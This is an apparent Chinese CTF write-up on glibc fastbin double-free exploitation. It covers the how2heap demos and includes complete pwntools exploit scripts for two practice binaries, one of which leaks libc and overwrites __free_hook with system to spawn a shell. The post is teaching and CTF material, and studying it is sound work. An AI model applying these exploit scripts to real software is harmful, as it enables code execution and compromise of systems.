Skip to main content

「PWN」HEAP - Fastbin - Double Free

· 10 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

Double Free是Fastbin里比较容易的一个利用,搞一下

整体原理比较简单,在ctf-wiki上可以看到。主要就是因为fastbin在检查时只检查链表头部且释放时不清除prev_in_use

在中也有相应的源码

测试

使用how2heap里的fastbin_dup.cfastbin_dup_into_stack.c作为演示。

fastbin_dup.c

为了方便,我们关闭ASLR的地址随机化

gcc -g -m64 -no-pie fastbin_dup.c -o fastbin_dup

这里它先填充了tcache,以便接下来的操作在fastbin中进行。

prefill of tcache

直接把断点下在line 20,一步一步看他是怎么运行的

image-20220321140323823

首先calloc了三个chunk,并释放掉第一个chunk。可以看到第一个a已经进入了fastbins

image-20220321141109457

此时如果我们再次释放a,程序会崩溃,因为fastbin的检测会检查头部是否和释放的这个chunk一致

bypass的方法很简单,释放之前再释放一个别的chunk不就好了?直接跳到line 40来看

image-20220321141752410

现在的链表结构参考ctf-wikiimg

接下来我们再次calloc,由alloc的机制我们知道他会先从fastbin的头部去取。

image-20220321142120620

image-20220321142135871

image-20220321142159911

可以看到,ac指向了同一个chunk

fastbin_dup_into_stack.c

为了方便,我们关闭ASLR并使用glibc-2.23作为动态解释器

gcc -g -m64 -no-pie fastbin_dup_into_stack.c -o fastbin_dup_into_stack
patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so fastbin_dup_into_stack

知道了Double Free的工作原理,怎么利用呢?这个文件给了我们答案。

类似于fasbin_dup.c,它申请了3个chunk,这里我们不再赘述。直接跳到34行——也就是Double Free完成之后

重新申请一个d,它拿去了a所表示的chunk,此时a所表示的chunk是我们可控的fastbin

注意这里

	stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

这个stack_var设置成0x20是为了伪造一个fake_chunk,由于检查时要求大小要一致所以这样设置。

image-20220321144456020

*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

这段话做了什么呢?

image-20220321143928311

它将dcontents修改为了&stack_var-8,可d代表的chunk实际上还在fastbin中,而fastbin中这个位置的数据代表着也正好代表着fd

image-20220321144048053

可以看到,链表上多出了一项,也就是0x40500fd指针所指的位于栈上的地址。

接下来,我们只要再拿到这个chunk,就可以进行任意写了。

实战

拿了两个最简单的模板题作为实验

samsara

先做必要的准备

patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so samsara

image-20220321150904705

通过分析,我们可以知道几个功能的用途分别是adddeleteedit,值得注意的是,delete并不会修改cnt,也没有把指针置0

还要关注的是lairkingdom这两个选项,

观察可以发现,lairpwn隔得很近

image-20220321151231353

我们能输出lair的地址,那么pwn的地址也自然可以获得了。

from pwn import *

sh = process(["./samsara"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'


def add():
sh.recvuntil(b"choice > ")
sh.sendline(b"1")
sh.recvuntil(b"Captured.\n")


def delete(idx: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"2")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Eaten.\n")


def edit(idx: int, content: bytes):
sh.recvuntil(b"choice > ")
sh.sendline(b"3")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Ingredient:\n")
sh.sendline(content)
sh.recvuntil(b"Cooked.")


def lair() -> int:
sh.recvuntil(b"choice > ")
sh.sendline(b"4")
sh.recvuntil(b"Your lair is at: ")
lair_addr = int(sh.recvuntil(b'\n', drop=True), 16)
return lair_addr


def kingdom(content: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"5")
sh.recvuntil(b"Which kingdom?\n")
sh.sendline(str(content).encode())
sh.recvuntil(b"Moved. \n")


def pwn():
sh.recvuntil(b"choice > ")
sh.sendline(b"6")
sh.interactive()

先写好功能菜单,根据我们的想法,我们应该先申请2个chunk,然后再删除idx为0, 1, 0的chunk

image-20220321152623422

此时我们再次add一下,这个chunk的fd和bk指针就是可控的了。我们将其修改为lair-0x08,也就是pwn-0x10的位置——这样对这个chunk修改时,修改的地方正好是pwn的位置。并修改lair的值为0x20以bypass检查。

image-20220321153500569

此时我们拿到这个位于栈上的chunk并修改其值为0xdeadbeef即可拿到shell

exp:

from pwn import *

sh = process(["./samsara"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'


def add():
sh.recvuntil(b"choice > ")
sh.sendline(b"1")
sh.recvuntil(b"Captured.\n")


def delete(idx: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"2")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Eaten.\n")


def edit(idx: int, content: bytes):
sh.recvuntil(b"choice > ")
sh.sendline(b"3")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Ingredient:\n")
sh.sendline(content)
sh.recvuntil(b"Cooked.")


def lair() -> int:
sh.recvuntil(b"choice > ")
sh.sendline(b"4")
sh.recvuntil(b"Your lair is at: ")
lair_addr = int(sh.recvuntil(b'\n', drop=True), 16)
return lair_addr


def kingdom(content: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"5")
sh.recvuntil(b"Which kingdom?\n")
sh.sendline(str(content).encode())
sh.recvuntil(b"Moved.\n")


def pwn():
sh.recvuntil(b"choice > ")
sh.sendline(b"6")
sh.interactive()


add() # 0
add() # 1

delete(0)
delete(1)
delete(0)

add() # 2
lair_chunk = lair() - 0x08
kingdom(0x20)
edit(2, str(lair_chunk).encode())
add() # 3
add() # 4
add() # 5
edit(5, str(0xdeadbeef).encode())
pwn()

# gdb.attach(sh, 'b puts')
# sh.interactive()

ACTF-2019_Message

稍微复杂一点。保护除了ASLR是全开的。

观察可以发现漏洞

delete时程序释放时没有对指针进行置零,只对size位置零

image-20220321160539186

根据showedit函数,我们如果能修改array[4 * idx + 2]的内容,那么也就可以做到任意地址读写。

也就是说,关键就在于如何在array上制造一个fake chunk

按之前的思路,我们如果malloc 0, 1, 2,并delete 1, 2, 1,再malloc 3,这个3content/fd我们就可以指向array,此时,我们再多次malloc,就可以获得fake chunk

先写好菜单

from pwn import *
from typing import TypeVar, Callable

T = TypeVar("T", bound=Callable)

sh = process(["./ACTF_2019_message"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'


def menu(idx: int):
def inner(func: T) -> T:
def wrapper(*arg, **kwargs):
sh.recvuntil(b"choice: ")
sh.sendline(str(idx).encode())
return func(*arg, **kwargs)
return wrapper
return inner


@menu(1)
def add(lengths: int, content: bytes):
sh.recvuntil(b"length of message:\n")
sh.sendline(str(lengths).encode())
sh.recvuntil(b"input the message:\n")
sh.sendline(content)


@menu(2)
def delete(idx: int):
sh.recvuntil(b"you want to delete:\n")
sh.sendline(str(idx).encode())


@menu(3)
def edit(idx: int, content: bytes):
sh.recvuntil(b"you want to edit:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"edit the message:\n")
sh.sendline(content)


@menu(4)
def show(idx: int) -> bytes:
sh.recvuntil(b"you want to display:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"The message: ")
msg = sh.recvuntil(b"\n", drop=True)
return msg

值得注意的是,由于size要相同,我们第0个chunk的大小应该比其他chunk大0x10

add(0x20, b'aaaaaa')  # 0
add(0x10, b'aaaaaa')
add(0x10, b'aaaaaa')
delete(1)
delete(2)
delete(1)
add(0x10, p64(0x602060-0x08)) # 3

可以看到,我们在0x602060-0x08的地方构造了一个fake_chunk,如此一来,0x602060便可以作为chunk_size,而0chunk_addr也就可以由fake_chunk修改,chunk_addr的内容也能由0来读

image-20220321165333289

add(0x10, b'aaaaaa')  # 4
add(0x10, b'aaaaaa') # 5
add(0x10, b'aaaaaa') # 6 -> fake

image-20220321165836827

此时已经可以任意读任意写了,这时候,只需要搞出libc_base就可以了

elf = ELF(r"./ACTF_2019_message")
libc = ELF(r"/home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

add(0x10, p64(elf.got['puts'])) # 6 -> fake

puts_addr = u64(show(0).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
print(hex(libc_base))

libc_base出来了,可是如何调用system还是困难的。因为保护是FULL RELRO,所以我们没办法改写GOT表,即使能改,因为我们没有办法传参,也没办法过去(除非我们找到one-gadget然后再想办法在栈上写)

这时候就可以使用包括__malloc_hook()__free_hook()等一系列libc中自带的hook函数

其中属__free_hook()最好用,因为它的参数就是chunk本身

这样,我们只需要把6content改为__free_hook(),并把0content改为system(),便实现了篡改

__free_hook()有write权限

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))

edit(6, p64(free_hook))
edit(0, p64(system))

image-20220321173952320

接下来,新建一个内容为/bin/sh的chunk并释放就可以拿到shell了。

exp:

from pwn import *
from typing import TypeVar, Callable

T = TypeVar("T", bound=Callable)

sh = process([r"./ACTF_2019_message"])
elf = ELF(r"./ACTF_2019_message")
libc = ELF(r"/home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'


def menu(idx: int):
def inner(func: T) -> T:
def wrapper(*arg, **kwargs):
sh.recvuntil(b"choice: ")
sh.sendline(str(idx).encode())
return func(*arg, **kwargs)
return wrapper
return inner


@menu(1)
def add(lengths: int, content: bytes):
sh.recvuntil(b"length of message:\n")
sh.sendline(str(lengths).encode())
sh.recvuntil(b"input the message:\n")
sh.sendline(content)


@menu(2)
def delete(idx: int):
sh.recvuntil(b"you want to delete:\n")
sh.sendline(str(idx).encode())


@menu(3)
def edit(idx: int, content: bytes):
sh.recvuntil(b"you want to edit:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"edit the message:\n")
sh.sendline(content)


@menu(4)
def show(idx: int) -> bytes:
sh.recvuntil(b"you want to display:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"The message: ")
msg = sh.recvuntil(b"\n", drop=True)
return msg


def dbg(arg: str = ''):
gdb.attach(sh, arg)
pause()


add(0x20, b'aaaaaa') # 0
add(0x10, b'aaaaaa') # 1
add(0x10, b'aaaaaa') # 2
delete(1)
delete(2)
delete(1)
add(0x10, p64(0x602060-0x08)) # 3

add(0x10, b'aaaaaa') # 4
add(0x10, b'aaaaaa') # 5
add(0x10, p64(elf.got['puts'])) # 6 -> fake_chunk

puts_addr = u64(show(0).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']

system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))

edit(6, p64(free_hook))
edit(0, p64(system))

add(0x20, b'/bin/sh\x00') # 7
delete(7)

sh.interactive()
Loading Comments...